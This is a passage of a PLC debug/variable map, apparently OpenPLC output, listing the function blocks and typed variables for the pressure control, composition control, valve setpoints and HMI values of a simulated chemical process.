+94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; 